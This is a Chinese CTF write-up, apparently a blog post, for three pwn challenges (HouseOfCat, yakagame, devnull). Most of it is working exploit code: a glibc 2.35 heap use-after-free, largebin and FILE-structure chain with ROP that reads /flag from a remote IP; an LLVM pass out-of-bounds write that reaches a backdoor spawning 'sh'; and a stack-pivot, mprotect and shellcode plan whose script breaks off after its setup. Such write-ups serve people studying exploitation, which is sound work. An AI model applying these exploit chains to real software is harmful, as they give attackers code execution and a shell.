18 道 pwn ,把 👴 给冲烂了,给 👴 带来了巨大的心灵震撼与阴影。👴 比较菜,比赛时也就出了比较简单的三道,其他的 👴 是真的不会,👴 下去好好反思。

HouseOfCat

分析

一血题,套了IOT板子的 2.35 版本下 UAF 利用。

核心思路:在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

一次 Largebin 打 stderr,一次 Largebin 打 main_arena Topchunk 地址,走 kiwi 触发 IO 流利用 _wide_data 成员控制执行流完成 orw。

需要注意的是 Edit 提供的写入字节数明显不足,需要在 Add 时提前布置好 payload。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/pwn/source/glibc-2.35/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
gdbscript += 'directory %self/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

def IO_FILE(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
fake_IO_FILE = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(_lock)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(_wide_data)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(_mode)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
return fake_IO_FILE

elf = ELF('./house_of_cat')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
# p = process('./house_of_cat')
# debug()
p = remote('59.110.212.61',16938)

def login():
msg = '''LOGIN \x7C r00t QWB QWXFadmin\0'''
sla('mew mew mew~~~~~~\n',str(msg))

def cat():
msg = '''CAT \x7C r00t QWB QWXF'''+p32(0x0FFFFFFFF)+'$'
sla('mew mew mew~~~~~~\n',str(msg))

def menu(c):
sla('plz input your cat choice:\n',str(c))

def add(id,size,data='u'):
cat()
menu('1')
sla('plz input your cat idx:\n',str(id))
sla('plz input your cat size:\n',str(size))
sea('plz input your content:\n',str(data))

def dele(id):
cat()
menu('2')
sla('plz input your cat idx:\n',str(id))

def show(id):
cat()
menu('3')
sla('plz input your cat idx:\n',str(id))

def edit(id,data):
cat()
menu('4')
sla('plz input your cat idx:\n',str(id))
sea('plz input your content:\n',str(data))

login()
add(0,0x428)
add(1,0x458)
add(2,0x468)
add(3,0x468)
dele(0)
show(0)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x219ce0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
magic = libc.sym.setcontext + 61
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
magic = libc.sym.setcontext + 61
rdi2rdx = libc_base + 0x1675b0
dele(2)
show(2)
ru('Context:\n')
heap_leak = uu64(rc(6))
heap_base = heap_leak - 0x290
lg('heap_leak',heap_leak)
lg('heap_base',heap_base)
dele(1)
dele(3)
stderr = 0x21a860 + libc_base
_IO_wfile_jumps = 0x2160c0 + libc_base
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f497
jmp_rsi = libc_base + 0x000000000003d3cf
ret = libc_base + 0x0000000000029cd6
rax = libc_base + 0x0000000000045eb0# 0x0000000000045eb0 : pop rax ; ret
addr =heap_base
rdi_rdx = libc_base + 0x1675b0
syscall_ret = libc_base + 0x0000000000091396 # 0x0000000000091396: syscall; ret;

orw = flat([
0,rdi,0,libc.sym.close,rax,2,rdi,heap_base+0x2b0,rsi,0,syscall_ret,rdi,0,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,libc.sym.read,rdi,1,libc.sym.write
])+'/flag\0\0\0'
addr = heap_base+0x200
fuck = SigreturnFrame()
fuck.rdi = 0
fuck.rsi = addr
fuck.rdx = 0x300
fuck.rsp = addr + 8
fuck.rip = libc.sym.read
guard = libc_base - 0x2890
_IO_wstrn_jumps = libc_base + 0x215dc0 - 0x38 + 24
_IO_cookie_jumps = libc_base +0x215b80 - 0x38 + 24
lg('guard',guard)
payload = IO_FILE(_IO_read_end=1,_IO_write_ptr=stderr-0x20,_lock=heap_base+0x10,_IO_chain=heap_base+0x3a0,_wide_data=heap_base+0xc40)[0x10:]+p64(_IO_wfile_jumps)
payload = payload.ljust(0xf0,'\0')
payload += str(fuck)[:0xe0]+p64(heap_base+0xd40-0x68)
payload = payload.ljust(0x1f0,'\0') + p64(magic)


# payload += IO_FILE(_IO_write_ptr=0xffffffffffffffff,_IO_chain=0,_lock=0) + p64(_IO_cookie_jumps + 0x60) + p64(heap_base+0x4a0) + p64(0) + p64(rol(rdi_rdx ^ (heap_base+0x390), 0x11,64))
# payload = payload.ljust(0x1f0,'\0')
# payload += p64(0)+p64(heap_base+0x4a0)+p64(0)*2+p64(magic)+str(fuck)[0x28:]
# payload = payload.ljust(0x2f0,'\0')
# payload += mmp

fake1 = libc_base + 0x21a0e0
fake2 = heap_base + 0x290
# add(4,0x458,'u'*0x20+payload[0x20:])
# add(5,0x458)
# add(6,0x448)
# dele(4)
# add(7,0x468)
# dele(6)
# edit(4,p64(fake1)*2 + p64(fake2) + p64(stderr-0x20))
# add(8,0x420)

# dele(8)
# edit(4,p64(fake1)*2 + p64(fake2) + p64(0x7ffff7fa5ce0-0x20))
# add(9,0x420)
# add(10,0x468)

add(4,0x448)
add(5,0x458,'u'*0x450+pack(-2059))
add(6,0x458,'u'*0x20+payload[0x20:])
add(7,0x468)
dele(6)
add(8,0x468)
dele(4)
edit(6,p64(fake1)*2 + p64(fake2) + p64(stderr-0x20))
add(9,0x420)

dele(9)
edit(6,p64(fake1)*2 + p64(fake2) + p64(libc_base+0x219ce0-0x20))
add(10,0x420)
# add(11,0x468)
cat()
menu('1')
sla('plz input your cat idx:\n',str(11))
sla('plz input your cat size:\n',str(0x468))

sleep(2)
sl(orw)

# dele(9)
# dele(4)
# dele(5)
# dele(4)
# add(10,0x458)
'''
b *0x7ffff7e011c8
0x7ffff7e011b4 <__vfprintf_internal+260> cmp rdi, rax
0x7ffff7e011b7 <__vfprintf_internal+263> jbe __vfprintf_internal+6560 <__vfprintf_internal+6560>

0x7ffff7e011bd <__vfprintf_internal+269> mov rsi, qword ptr [rsp + 8]
0x7ffff7e011c2 <__vfprintf_internal+274> mov rdx, rbx
0x7ffff7e011c5 <__vfprintf_internal+277> mov rdi, rbp
► 0x7ffff7e011c8 <__vfprintf_internal+280> call qword ptr [r12 + 0x38] <0>

0x7ffff7e011cd <__vfprintf_internal+285> cmp rbx, rax
0x7ffff7e011d0 <__vfprintf_internal+288> jne __vfprintf_internal+5880 <__vfprintf_internal+5880>
'''

p.interactive()

yakagame

Exp 有概率失败,但成功率很高。

image-20220731085710766

分析

经典的 llvm pass pwn 题,蛋疼的是给出来的几个函数都没用,在上面浪费了太多的时间了。

关键函数:

1.后门函数,要求score>0x12345678

image-20220731090206313

进入后会执行 cmd 指针内存放的内容。

image-20220731090304553

2.下标越界

image-20220731090050060

其中,v33 为 char 类型 ,在函数数量足够多时可以遍历到负数下标,构成越界写。

思路:

  1. 首先需要能够进入后门函数,我们需要在可控范围内找到一个内容 > 0x12345678 的地址,这里我选的是 stdout@got + 2 ,0x7f 开头的 8 个字节可以保证进入后门函数,利用越界写控制下标覆写 score 指针。
  2. 其次需要控制 cmd 的内容,理想状态应该选取 /bin/sh\0 ,但我没能在固定地址找到,就选取了 sh\0,最终也成功完成了利用。

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
void fight(unsigned long long num);
void n0(int i);
void n1(int i);
void n2(int i);
void n3(int i);
void n4(int i);
void n5(int i);
void n6(int i);
void n7(int i);
void n8(int i);
void n9(int i);
void n10(int i);
void n11(int i);
void n12(int i);
void n13(int i);
void n14(int i);
void n15(int i);
void n16(int i);
void n17(int i);
void n18(int i);
void n19(int i);
void n20(int i);
void n21(int i);
void n22(int i);
void n23(int i);
void n24(int i);
void n25(int i);
void n26(int i);
void n27(int i);
void n28(int i);
void n29(int i);
void n30(int i);
void n31(int i);
void n32(int i);
void n33(int i);
void n34(int i);
void n35(int i);
void n36(int i);
void n37(int i);
void n38(int i);
void n39(int i);
void n40(int i);
void n41(int i);
void n42(int i);
void n43(int i);
void n44(int i);
void n45(int i);
void n46(int i);
void n47(int i);
void n48(int i);
void n49(int i);
void n50(int i);
void n51(int i);
void n52(int i);
void n53(int i);
void n54(int i);
void n55(int i);
void n56(int i);
void n57(int i);
void n58(int i);
void n59(int i);
void n60(int i);
void n61(int i);
void n62(int i);
void n63(int i);
void n64(int i);
void n65(int i);
void n66(int i);
void n67(int i);
void n68(int i);
void n69(int i);
void n70(int i);
void n71(int i);
void n72(int i);
void n73(int i);
void n74(int i);
void n75(int i);
void n76(int i);
void n77(int i);
void n78(int i);
void n79(int i);
void n80(int i);
void n81(int i);
void n82(int i);
void n83(int i);
void n84(int i);
void n85(int i);
void n86(int i);
void n87(int i);
void n88(int i);
void n89(int i);
void n90(int i);
void n91(int i);
void n92(int i);
void n93(int i);
void n94(int i);
void n95(int i);
void n96(int i);
void n97(int i);
void n98(int i);
void n99(int i);
void n100(int i);
void n101(int i);
void n102(int i);
void n103(int i);
void n104(int i);
void n105(int i);
void n106(int i);
void n107(int i);
void n108(int i);
void n109(int i);
void n110(int i);
void n111(int i);
void n112(int i);
void n113(int i);
void n114(int i);
void n115(int i);
void n116(int i);
void n117(int i);
void n118(int i);
void n119(int i);
void n120(int i);
void n121(int i);
void n122(int i);
void n123(int i);
void n124(int i);
void n125(int i);
void n126(int i);
void n127(int i);
void n128(int i);
void n129(int i);
void n130(int i);
void n131(int i);
void n132(int i);
void n133(int i);
void n134(int i);
void n135(int i);
void n136(int i);
void n137(int i);
void n138(int i);
void n139(int i);
void n140(int i);
void n141(int i);
void n142(int i);
void n143(int i);
void n144(int i);
void n145(int i);
void n146(int i);
void n147(int i);
void n148(int i);
void n149(int i);
void n150(int i);
void n151(int i);
void n152(int i);
void n153(int i);
void n154(int i);
void n155(int i);
void n156(int i);
void n157(int i);
void n158(int i);
void n159(int i);
void n160(int i);
void n161(int i);
void n162(int i);
void n163(int i);
void n164(int i);
void n165(int i);
void n166(int i);
void n167(int i);
void n168(int i);
void n169(int i);
void n170(int i);
void n171(int i);
void n172(int i);
void n173(int i);
void n174(int i);
void n175(int i);
void n176(int i);
void n177(int i);
void n178(int i);
void n179(int i);
void n180(int i);
void n181(int i);
void n182(int i);
void n183(int i);
void n184(int i);
void n185(int i);
void n186(int i);
void n187(int i);
void n188(int i);
void n189(int i);
void n190(int i);
void n191(int i);
void n192(int i);
void n193(int i);
void n194(int i);
void n195(int i);
void n196(int i);
void n197(int i);
void n198(int i);
void n199(int i);
void n200(int i);
void n201(int i);
void n202(int i);
void n203(int i);
void n204(int i);
void n205(int i);
void n206(int i);
void n207(int i);
void n208(int i);
void n209(int i);
void n210(int i);
void n211(int i);
void n212(int i);
void n213(int i);
void n214(int i);
void n215(int i);
void n216(int i);
void n217(int i);
void n218(int i);
void n219(int i);
void n220(int i);
void n221(int i);
void n222(int i);
void n223(int i);
void n224(int i);
void n225(int i);
void n226(int i);
void n227(int i);
void n228(int i);
void n229(int i);
void n230(int i);
void n231(int i);
void n232(int i);
void n233(int i);
void n234(int i);
void n235(int i);
void n236(int i);
void n237(int i);
void n238(int i);
void n239(int i);
void n240(int i);
void n241(int i);
void n242(int i);
void n243(int i);
void n244(int i);
void n245(int i);
void n246(int i);
void n247(int i);
void n248(int i);
void n249(int i);
void n250(int i);
void n251(int i);
void n252(int i);
void n253(int i);
void n254(int i);
void n255(int i);
void n256(int i);
void n257(int i);
void n258(int i);
void n259(int i);
void n260(int i);
void n261(int i);
void n262(int i);
void n263(int i);
void n264(int i);
void n265(int i);
void n266(int i);
void n267(int i);
void n268(int i);
void n269(int i);
void n270(int i);
void n271(int i);
void n272(int i);
void n273(int i);
void n274(int i);
void n275(int i);
void n276(int i);
void n277(int i);
void n278(int i);
void n279(int i);
void n280(int i);
void n281(int i);
void n282(int i);
void n283(int i);
void n284(int i);
void n285(int i);
void n286(int i);
void n287(int i);
void n288(int i);
void n289(int i);
void n290(int i);
void n291(int i);
void n292(int i);
void n293(int i);
void n294(int i);
void n295(int i);
void n296(int i);
void n297(int i);
void n298(int i);
void n299(int i);
void n300(int i);
void n301(int i);
void n302(int i);
void n303(int i);
void n304(int i);
void n305(int i);
void n306(int i);
void n307(int i);
void n308(int i);
void n309(int i);
void n310(int i);
void n311(int i);
void n312(int i);
void n313(int i);
void n314(int i);
void n315(int i);
void n316(int i);
void n317(int i);
void n318(int i);
void n319(int i);
void n320(int i);
void n321(int i);
void n322(int i);
void n323(int i);
void n324(int i);
void n325(int i);
void n326(int i);
void n327(int i);
void n328(int i);

void gamestart()
{

n0(1);
n1(1);
n2(1);
n3(1);
n4(1);
n5(1);
n6(1);
n7(1);
n8(1);
n9(1);
n10(1);
n11(1);
n12(1);
n13(1);
n14(1);
n15(1);
n16(1);
n17(1);
n18(1);
n19(1);
n20(1);
n21(1);
n22(1);
n23(1);
n24(1);
n25(1);
n26(1);
n27(1);
n28(1);
n29(1);
n30(1);
n31(1);
n32(1);
n33(1);
n34(1);
n35(1);
n36(1);
n37(1);
n38(1);
n39(1);
n40(1);
n41(1);
n42(1);
n43(1);
n44(1);
n45(1);
n46(1);
n47(1);
n48(1);
n49(1);
n50(1);
n51(1);
n52(1);
n53(1);
n54(1);
n55(1);
n56(1);
n57(1);
n58(1);
n59(1);
n60(1);
n61(1);
n62(1);
n63(1);
n64(1);
n65(1);
n66(1);
n67(1);
n68(1);
n69(1);
n70(1);
n71(1);
n72(1);
n73(1);
n74(1);
n75(1);
n76(1);
n77(1);
n78(1);
n79(1);
n80(1);
n81(1);
n82(1);
n83(1);
n84(1);
n85(1);
n86(1);
n87(1);
n88(1);
n89(1);
n90(1);
n91(1);
n92(1);
n93(1);
n94(1);
n95(1);
n96(1);
n97(1);
n98(1);
n99(1);
n100(1);
n101(1);
n102(1);
n103(1);
n104(1);
n105(1);
n106(1);
n107(1);
n108(1);
n109(1);
n110(1);
n111(1);
n112(1);
n113(1);
n114(1);
n115(1);
n116(1);
n117(1);
n118(1);
n119(1);
n120(1);
n121(1);
n122(1);
n123(1);
n124(1);
n125(1);
n126(1);
n127(1);
n128(1);
n129(1);
n130(1);
n131(1);
n132(1);
n133(1);
n134(1);
n135(1);
n136(1);
n137(1);
n138(1);
n139(1);
n140(1);
n141(1);
n142(1);
n143(1);
n144(1);
n145(1);
n146(1);
n147(1);
n148(1);
n149(1);
n150(1);
n151(1);
n152(1);
n153(1);
n154(1);
n155(1);
n156(1);
n157(1);
n158(1);
n159(1);
n160(1);
n161(1);
n162(1);
n163(1);
n164(1);
n165(1);
n166(1);
n167(1);
n168(1);
n169(1);
n170(1);
n171(1);
n172(1);
n173(1);
n174(1);
n175(1);
n176(1);
n177(1);
n178(1);
n179(1);
n180(1);
n181(1);
n182(1);
n183(1);
n184(1);
n185(1);
n186(1);
n187(1);
n188(1);
n189(1);
n190(1);
n191(1);
n192(1);
n193(1);
n194(1);
n195(1);
n196(1);
n197(1);
n198(1);
n199(1);
n200(1);
n201(1);
n202(1);
n203(1);
n204(1);
n205(1);
n206(1);
n207(1);
n208(1);
n209(1);
n210(1);
n211(1);
n212(1);
n213(1);
n214(1);
n215(1);
n216(1);
n217(1);
n218(1);
n219(1);
n220(1);
n221(1);
n222(1);
n223(1);
n224(1);
n225(1);
n226(1);
n227(1);
n228(1);
n229(1);
n230(1);
n231(1);
n232(1);
n233(1);
n234(1);
n235(1);
n236(1);
n237(1);
n238(1);
n239(1);
n240(1);
n241(1);
n242(1);
n243(1);
n244(1);
n245(1);
n246(1);
n247(1);
n248(1);
n249(1);
n250(1);
n251(1);
n252(1);
n253(1);
n254(1);
n255(1);
n256(1);
n257(1);
n258(1);
n259(1);
n260(1);
n261(1);
n262(1);
n263(1);
n264(1);
n265(1);
n266(1);
n267(1);
n268(1);
n269(1);
n270(1);
n271(1);
n272(1);
n273(1);
n274(1);
n275(1);
n276(1);
n277(1);
n278(1);
n279(1);
n280(1);
n281(1);
n282(1);
n283(1);
n284(1);
n285(1);
n286(1);
n287(1);
n288(1);
n289(1);
n290(1);
n291(1);
n292(1);
n293(1);
n294(1);
n295(1);
n296(1);
n297(1);
n298(1);
n299(1);
n300(1);
n301(1);
n302(1);
n303(1);
n304(1);
n305(1);
n306(1);
n307(0x29);
n308(0x22);
n309(0x41);
n310(0);

// opt-8 0x412229 jae 0x412293 /* 'sh' */
// opt-8 0x42c7df jae 0x42c849 /* 'shift_div' */
// opt-8 0x42cbd7 jae 0x42cc41 /* 'sh_nonemptyEv' */
// opt-8 0x432faa jae 0x433014 /* 'shifted_simple_hull_from_set_list' */
// opt-8 0x4330aa jae 0x433114 /* 'shifted_simple_hull_from_map_list' */
// opt-8 0x434c56 jae 0x434cc0 /* 'sh_table_init' */
// opt-8 0x434dc9 jae 0x434e33 /* 'shift' */
// opt-8 0x434de6 jae 0x434e50 /* 'shift' */
// opt-8 0x434e03 jae 0x434e6d /* 'shift' */
// opt-8 0x437414 jae 0x43747e /* 'sh_bits' */
// opt-8 0x4375a5 jae 0x43760f /* 'shift_point_loops' */
// opt-8 0x4375cc jae 0x437636 /* 'shift_point_loops' */
// opt-8 0x43791b jae 0x437985 /* 'sh_tokens' */
// opt-8 0x43963f jae 0x4396a9 /* 'sh_basis' */
// opt-8 0x43bab0 jae 0x43bb1a /* 'shared_ancestor' */
// opt-8 0x43c7be jae 0x43c828 /* 'shift_var' */
// opt-8 0x43c81e jae 0x43c888 /* 'sh_var' */
// opt-8 0x43c88b jae 0x43c8f5 /* 'sh_table_clear' */
// opt-8 0x4413d4 jae 0x44143e /* 'sh_token' */
// opt-8 0x441c6e jae 0x441cd8 /* 'sh_mem' */
// opt-8 0x4429c0 jae 0x442a2a /* 'shared_ptrIN5polly12RejectReasonEELb0EE4growEm' */
// opt-8 0x443216 jae 0x443280 /* 'sholdEm' */
// opt-8 0x4435b1 jae 0x44361b /* 'shifted_simple_hull' */
// opt-8 0x4435cf jae 0x443639 /* 'shifted_simple_hull' */
// opt-8 0x4435f3 jae 0x44365d /* 'shifted_simple_hull' */
// opt-8 0x443617 jae 0x443681 /* 'shifted_simple_hull' */
// opt-8 0x443641 jae 0x4436ab /* 'shifted_simple_hull' */
// opt-8 0x4452b5 jae 0x44531f /* 'sh_callback' */
// opt-8 0x445c12 jae 0x445c7c /* 'shTableEj' */
// opt-8 0x44636c jae 0x4463d6 /* 'shiftDimEN3isl12noexceptions9union_setEii' */
// opt-8 0x4463a0 jae 0x44640a /* 'shiftDimEN3isl12noexceptions3setEii' */
// opt-8 0x4463ce jae 0x446438 /* 'shiftDimEN3isl12noexceptions9union_mapENS1_3dimEii' */
// opt-8 0x44640b jae 0x446475 /* 'shiftDimEN3isl12noexceptions3mapENS1_3dimEii' */
// opt-8 0x44696b jae 0x4469d5 /* 'sh' */
// opt-8 0x446972 jae 0x4469dc /* 'sh' */
// opt-8 0x446984 jae 0x4469ee /* 'sh' */
// opt-8 0x44699b jae 0x446a05 /* 'sh' */
// opt-8 0x4469ac jae 0x446a16 /* 'sh' */


n311(1);
n312(1);
n313(1);
n314(0xda);
n315(0xdf);
n316(0x77);
n317(0);
n318(1);


// n327(1); // -2
// n328(1); // -1
// n307(1); // cmd
n316(1); // stdout@got + 2 0x77dfda
n315(1);
n314(1);
n307(1);
n308(1);
n309(1);
n310(1);

fight(0);
// n264(1); // -1
// n328(1); // -1
// fight(-2);
// fight(-3);
// fight(-4);
// fight(-5);
// fight(-6);

// merge(-1,0);
// merge(-1,-2);
// merge(-1,-3);
// merge(2,3);
}
// 0x412229
// 0x7ffff4e20750 0x7ffff3b63880 0x7ffff3b641d7
// 0x7ffff3b57000 0x6668936d277b6892 0x7ffff3b639e6 0x7ffff3b63af6 0x7ffff3b64278 0x7ffff3b641c5
/* 0xD278 0x7ffff3b641c5
► 0x7ffff4e2077e <llvm::FPPassManager::runOnModule(llvm::Module&)+46> call llvm::FPPassManager::runOnFunction(llvm::Function&) <llvm::FPPassManager::runOnFunction(llvm::Function&)>
0x4bb7e3 <main+11507> call llvm::legacy::PassManager::run(llvm::Module&)@plt
► 0x7ffff4e20b48 <llvm::legacy::PassManagerImpl::run(llvm::Module&)+744> call qword ptr [rax + 0x88] <llvm::FPPassManager::runOnModule(llvm::Module&)>
x/50xg 0x7ffff3d6d978
0x7ffff3d6d9a8 <cmd>: 0x0000000000824d00 0x0000000000822fb0
0x7ffff3d6d9b8: 0x0000000000000000 0x6868686868d06868
0x7ffff3d6d9c8 <weaponlist+8>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6d9d8 <weaponlist+24>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6d9e8 <weaponlist+40>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6d9f8 <weaponlist+56>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da08 <weaponlist+72>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da18 <weaponlist+88>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da28 <weaponlist+104>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da38 <weaponlist+120>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da48 <weaponlist+136>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da58 <weaponlist+152>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da68 <weaponlist+168>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da78 <weaponlist+184>: 0x6868686868686868 0x6868686868686868
0x7ffff3d6da88 <weaponlist+200>: 0x6868686868686868 0x6868686868686868


wea 2169C0 2169A8

*/

exp.py

用来攻击远程的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# python exp.py 123.56.105.22 35252
from pwn import *
import sys
context.log_level='debug'

p = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")

payload=f.read()

f.close()

payload2 = payload.encode("base64").replace('\n','')
p.sendlineafter("give", payload2)

p.interactive()

devnull

分析

存在栈溢出,可以覆盖掉 fd 的同时覆盖掉 rbp 和 rip,考虑栈迁移。

image-20220731133726905

看到控制执行流时 rdx 为 7。

image-20220731133853102

比较突兀的 strlen 中,有控制 rax 的 gadget。

image-20220731133935959

配合 mprotect 可以扬成 rwx 权限。

image-20220731134022615

读入第一段 shellcode 扩大输入字节数,然后直接调 shellcraft.sh() 即可,注意的是输出流被关闭了,执行 exec 1>&0 恢复就行。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/pwn/source/glibc-2.35/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
gdbscript += 'directory %self/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'b fprintf'
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./devnull')
